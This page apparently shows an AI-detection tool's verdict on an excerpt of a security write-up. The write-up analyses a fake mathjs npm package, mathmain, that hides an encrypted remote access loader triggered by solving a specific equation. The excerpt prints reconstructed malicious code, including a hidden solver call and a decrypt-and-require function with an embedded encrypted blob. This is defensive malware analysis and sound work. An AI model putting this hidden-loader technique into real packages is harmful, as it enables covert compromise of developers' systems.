Skip to content
HN On Hacker News ↗

Why Does an npm Math Library Need an Encrypted Loader?

▲ 138 points • 43 comments • by abhisek • 3w ago • HN discussion ↗

Pangram verdict · v3.3

We believe this text is mainly AI, with some human-written content.

84 %

AI likelihood · overall

AI
6% human-written 94% AI-generated
SEGMENTS · HUMAN 1 of 2
SEGMENTS · AI 1 of 2
WORD COUNT 306
PEAK AI % 70% · §1
Analyzed
Sep 21
backend: pangram/v3.3
Segments scanned
2 windows
avg 153 words each
Distribution
6 / 94%
human / AI fraction
Verdict
AI
Pangram v3.3

Article text · 306 words · 2 segments analyzed

Human AI-generated
§1 AI · 70%

We found a remote access implant hidden inside [email protected], an npm package that copies the popular mathjs library. The malicious code ships encrypted. It stays dormant until a program solves a specific equation with the library. That equation is the key. When the key matches, the package decrypts a payload and runs it. The payload takes commands from the attacker and runs them on the host. It uses a public chat service and a blockchain network for its command channel. This post shows how we found the loader, how we decrypted it, what the payload does, and the indicators you can use to find it. We started with a SafeDep analysis of mathmain on September 17, 2026. The package looked like a copy of mathjs with a different name and obfuscated code. One added call in the solver led us to the loader. A solver calls a type check Near the end of lusolve(), we found an extra call in the CommonJS build. The solver had already calculated its result. It then passed data from the lower triangular matrix to removeSolveValidation(): // Readable reconstruction: recovered strings and renamed local variables.l && (q = removeSolveValidation(l._data));return x; Here, l holds the lower triangular matrix and x holds the result. The solver returns x unchanged. It assigns the extra call’s return value to q, but does not use q again. We followed removeSolveValidation() to isGraph(x) in lib/cjs/utils/is.js. This file contains checks such as isMatrix and isNumber.

§2 Human · 24%

The added isGraph() function decrypts and loads code: // Readable reconstruction: recovered strings and renamed local variables.const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==';function isGraph(x) { const password = JSON.stringify(x); const name = validEvent(STAGE1_BLOB, password); const target = path.join(__dirname, name); const mod = require(event(target, password)); return (x && mod.validGraph(password)) || false;} isGraph() converts its input to a JSON string and uses that string as a password.